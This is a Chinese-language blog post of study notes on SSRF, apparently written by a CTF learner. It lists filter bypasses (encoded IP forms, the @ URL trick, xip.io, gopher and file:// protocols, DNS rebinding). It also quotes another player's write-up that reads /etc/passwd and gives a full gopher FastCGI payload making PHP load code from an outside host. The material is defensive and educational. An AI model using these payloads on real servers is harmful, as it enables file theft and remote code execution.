题目连接:https://github.com/otakekumi/CTF-Challenge/blob/master/PHP/chall_3/index.php

一个文件上传题,尝试上传个图片,结果:

好吧,环境没搭好,这不能怪我了,我只能看源码来搭了。

但是就目前来看似乎可以SSRF.

什么是ssrf?是时候系统的学一波了。

参考链接:

《SSRF漏洞中绕过IP限制的几种方法总结》

《SSRF攻击原理与技巧》

(Server-Side Request Forgery,服务器端请求伪造):通俗的来说就是我们可以伪造服务器端发起的请求,从而获取客户端所不能得到的数据。SSRF漏洞形成的原因主要是服务器端所提供的接口中包含了所要请求的内容的URL参数,并且未对客户端所传输过来的URL参数进行过滤。这个漏洞造成的危害有:

(1)、可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;

(2)、攻击运行在内网或本地的应用程序(比如溢出);

(3)、对内网Web应用进行指纹识别,通过访问默认文件实现;

(4)、攻击内外网的Web应用,主要是使用Get参数就可以实现的攻击(比如Struts2漏洞利用,SQL注入等);

(5)、利用File协议读取本地文件。

我的理解是,在web程序中用如果使用URL作为参数并且这个URL可以被客户端修改,然后这个server端通过访问这个URL获取对应的数据,并且返回。如果是一张正常的图片,一切ok。如果是填一个这样的URL呢?(http://127.0.0.1:22)那么服务端可能会返回banner信息。有点像命令执行漏洞但是,ssrf只是访问一个地址。

而一般的防御措施是对URL参数进行过滤,或者使得URL参数用户不可控。

这样的话我们可以利用各种姿势进行绕过:

1、更改IP地址写法

因为可能通过过滤掉内网IP的方式。

可以通过进制绕过:

192.168.0.1的各种进制

(1)、8进制格式:0300.0250.0.1

(2)、16进制格式:0xC0.0xA8.0.1

(3)、10进制整数格式:3232235521

(4)、16进制整数格式:0xC0A80001

2、利用解析URL所出现的问题

在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。

http://www.baidu.com@192.168.0.1/

当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是www.baidu.com,认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很有可能会认为访问URL的host为www.baidu.com,而实际上这个URL所请求的内容都是192.168.0.1上的内容。

3、利用DNS解析。

在网络上存在一个很神奇的服务,http://xip.io当我们访问这个网站的子域名的时候,例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1。

4、通过各种非HTTP协议

(1)、GOPHER协议:通过GOPHER我们在一个URL参数中构造Post或者Get请求,从而达到攻击内网应用的目的。例如我们可以使用GOPHER协议对与内网的Redis服务进行攻击.

(2)、File协议:File协议主要用于访问本地计算机中的文件,我们可以通过类似file:///文件路径这种格式来访问计算机本地文件。使用file协议可以避免服务端程序对于所访问的IP进行的过滤。例如我们可以通过file:///d:/1.txt 来访问D盘中1.txt的内容

Request:file:///C:/Windows/win.ini

对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。

但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间查,利用这个时间差,我们可以进行DNS 重绑定攻击。

要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:

(1)、服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP

(2)、对于获得的IP进行判断,发现为非黑名单IP,则通过验证

(3)、服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。

(4)、由于已经绕过验证,所以服务器端返回访问内网资源的结果。

上次红帽杯的WEB4预期解就是SSRF用GOPHER协议打内网mysql盲注orz。

贴一下orange师傅的wp:

这是一个可以给使用者上传图片或是提供网址帮你抓起来上传图片的服务
核心概念就是透过 302 redirect 去绕过限制实现 SSRF,并且再透过 SSRF 中的 gopher 去利用本地的 FastCGI prtocol 实现远端代码执行

在抓取图片的时候可以使用 302 去做 SSRF
(其实很多人在研究 SSRF 的时候都忽略的 302 的妙处)

在 SSRF 中可以读档
(Location: file://localhost/etc/passwd )

会发现伺服器的架构是使用 Nginx + PHP-FPM
其中 PHP-FPM fastcgi protocol 是以 bind port 的方式跑在本机上

在真实世界中,只要发现对方的 PHP FastCGI 是可以外连的话那就可以拿 shell
所以使用 gopher 构造 FastCGI Protocol 访问本机的 9001 port 就可以任意代码执行

Location: gopher://127.0.0.1:9001/x%01%01i%13%00%08%00%00%00%01%00%00%00%00%00%00%01%04i%13%00%8B%00%00%0E%03REQUEST_METHODGET%0F%0FSCRIPT_FILENAME/_www/index.php%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%09%26PHP_VALUEauto_prepend_file%20%3D%20http%3A//orange.tw/x%01%04i%13%00%00%00%00%01%05i%13%00%00%00%00

(使用 PHP_ADMIN_VALUE 把 allow_url_include 设成 on 以及新增 auto_prepend_file 到自己的网站)

这题比较有趣的另外一个点是,如果有实作过 SSRF 搭配 gopher 的话,应该会发现
Java 中的 gopher 只能接受 0x00 – 0x7f
libcurl 中的 gopher 只能接受 0x01 – 0xff

然后本题使用 PHP 中的 curl_exec ,会使用到 libcurl 无法使用 NULL Byte
但是构造 FastCGI Protocol 的话非得有 NULL Byte 不可
后来去研究了一下 libcurl 的原始码,发现是因為写得有点问题才不能使用 NULL Byte
所以送了一个 commit 过去还被接受了…XD

https://github.com/bagder/curl/commit/5bf36ea30d38b9e00029180ddbab73cab94a2195

所以现在新版本的 libcurl / curl 应该 gopher 都可以使用 NULL Byte 了XD

 

直接curl打ssrf。

 

 

分类: WEB学习

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注